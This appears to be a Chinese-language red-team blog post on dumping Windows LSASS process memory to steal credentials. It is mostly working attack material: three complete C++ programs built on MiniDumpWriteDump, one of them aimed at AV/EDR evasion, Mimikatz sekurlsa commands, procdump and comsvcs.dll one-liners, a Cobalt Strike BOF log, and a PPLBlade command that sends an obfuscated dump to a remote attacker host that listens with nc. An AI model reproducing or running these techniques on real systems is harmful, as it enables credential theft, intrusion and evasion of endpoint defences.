转储Lsass且不使用Mimikatz
8 months ago
6 minutes
MiniDumpWriteDump
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
编译后文件为createdump.exe,然后执行以下命令:
.\createdump.exe
.\mimikatz.exe
sekurlsa::minidump c:\temp\lsass.dmp
sekurlsa::logonpasswords
使用MiniDump回调将MiniDumpWriteDump写入内存
默认情况下,MiniDumpWriteDump 会将 Lsass 进程内存转储到磁盘,但是可以使用 MINIDUMP_CALLBACK_INFORMATION 回调来创建进程小型转储并将其存储在内存中,我们可以在将其放入磁盘或通过网络在进行渗透之前对其进行加密
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
// Buffer for saving the minidump
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
DWORD bytesWritten = 0;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
// Get lsass PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
printf("[+] lsass PID=0x%x\n",lsassPID);
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
if (isDumped)
{
// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
{
printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);
}
}
return 0;
}
该方法可以使用 SafetyDump 工具来利用。
自定义MiniDumpWriteDump可以使用 BOFs 仓库里的工具实现。
beacon> minidumpwritedump 756 C:\lsass.dmp
[*] Static Syscalls Custom MiniDumpWriteDump BOF (@rookuu_)
[+] host called home, sent: 12165 bytes
[+] received output:
OS Version: 10.0.18362
[+] received output:
Done! Enjoy the creds. (C:\lsass.dmp)
避免将Minidump写入磁盘并使用套接字通过 HTTPS 窃取:
MiniDumpWriteDump + PssCaptureSnapshot
PssCaptureSnapshot允许转储Lsass进程,MiniDumpWriteDump可以帮助攻击者绕过AV/EDR
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
BOOL CALLBACK MyMiniDumpWriteDumpCallback(
__in PVOID CallbackParam,
__in const PMINIDUMP_CALLBACK_INPUT CallbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
)
{
switch (CallbackInput->CallbackType)
{
case 16: // IsProcessSnapshotCallback
CallbackOutput->Status = S_FALSE;
break;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
HANDLE snapshotHandle = NULL;
DWORD flags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
CallbackInfo.CallbackRoutine = &MyMiniDumpWriteDumpCallback;
CallbackInfo.CallbackParam = NULL;
PssCaptureSnapshot(lsassHandle, (PSS_CAPTURE_FLAGS)flags, CONTEXT_ALL, (HPSS*)&snapshotHandle);
BOOL isDumped = MiniDumpWriteDump(snapshotHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
PssFreeSnapshot(GetCurrentProcess(), (HPSS)snapshotHandle);
return 0;
}
任务管理器
通过管理员权限打开任务管理查看进程创建转储:
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104201505.png)
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104201557.png)
攻击者可以将该转储文件移动到本地并运行Mimikatz读取:
sekurlsa::minidump C:\Users\snowwolf\AppData\Local\Temp\lsass.DMP
sekurlsa::logonpasswords
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104202324.png)
ProcDump转储
因为 ProcDump 是合法的 Microsoft 工具,因此 Defender 不会检测。攻击者可以使用该工具转储 Lsass 进程、下载转储并转储到本地以提取凭据
转储凭据:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104203208-1024x249.png)
在Mimikatz中运行命令:
sekurlsa::minidump C:\Users\Administrator\Desktop\Procdump\lsass.dmp
sekurlsa::logonPasswords
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104203443-1024x568.png)
comsvcs.dll转储
在C:\Windows\System32目录下有个comsvcs.dll文件,每当进程崩溃时就会转储进程内存,我们可以使用该DLL创建转储文件,并将指定的进程转储到该转储文件中
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
![](https://red.ghostwolflab.com/wp-content/uploads/2024/01/QQ图片20240104204314-1024x534.png)
PPLBlade
PPLBlade 是一个第三方,且受保护的进程转储工具,支持混淆内存转储并将其传输到远程工作站,而无需将其删除到磁盘上
转储 Lsass:
PPLBlade.exe --mode dothatlsassthing
将混淆的 Lsass 转储到远程主机:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
攻击者主机:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
反混淆内存转储:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade